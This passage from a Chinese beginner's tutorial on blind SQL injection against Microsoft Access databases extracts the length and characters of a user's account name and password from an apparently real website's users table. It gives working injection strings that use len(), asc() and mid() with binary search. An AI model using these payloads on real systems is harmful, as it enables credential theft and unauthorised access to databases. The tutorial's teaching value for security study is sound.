|
SQL注入漏洞初级应用之Access篇(3) and
exists (select userid from users where len(username)=4 and
userid=11),说明账号的长度为4,也太短了吧,呵呵,别高兴的太早,如图6:
再接下来猜密码长度,与猜解账号长度类似,最后猜到密码长度为16位,语句:and exists (select userid from
users where len(userpwd)=16 and
userid=11),不过我要提醒的是,一般遇到16位或者32位的密码,我都会想到MD5加密,当然可以暴力破解。
到此,我们得到的信息如下:
账号username长度:4
密码userpwd长度:16
7.猜解账号密码字符
在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。
格式:mid(字符串,开始位置,子串长度)
比如说mid(name,1,1)即取name字符串里第一个字符。如果这里的name等于xysky
则mid(name,1,1)=x而mid(name,1,2)则取y
这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的。在后面加上如下的语句:
and 11=(select userid from users where asc(mid(username,1,1))<0)
返回正常,说明账号果然是汉字,下面的事就不那么容易了。下面我们用到二分法的思想开始猜解第一位字符:
and 11=(select
userid from users where asc(mid(username,1,1))<-19000) 返回正常
and
11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常
以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765
and 11=(select userid from users where asc(mid(username,1,1))= -19765)
ASCII码为-19765对应的字符就是:菜
下面接着猜第二个字符,最后语法为:and 11=(select
userid from users where asc(mid(username,2,1))=-15119),这里抓个图,如图7:
对应字符为:鸟
到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了:
作者:菜鸟老师
票数:0等级:点击:308 呵呵,如果没错的话就是它了。
接着猜密码,依然二分法,就不抓图了:
and
11=(select userid from users where asc(mid(userpwd,1,1))<50)
and
11=(select userid from users where asc(mid(userpwd,1,1))>40)
|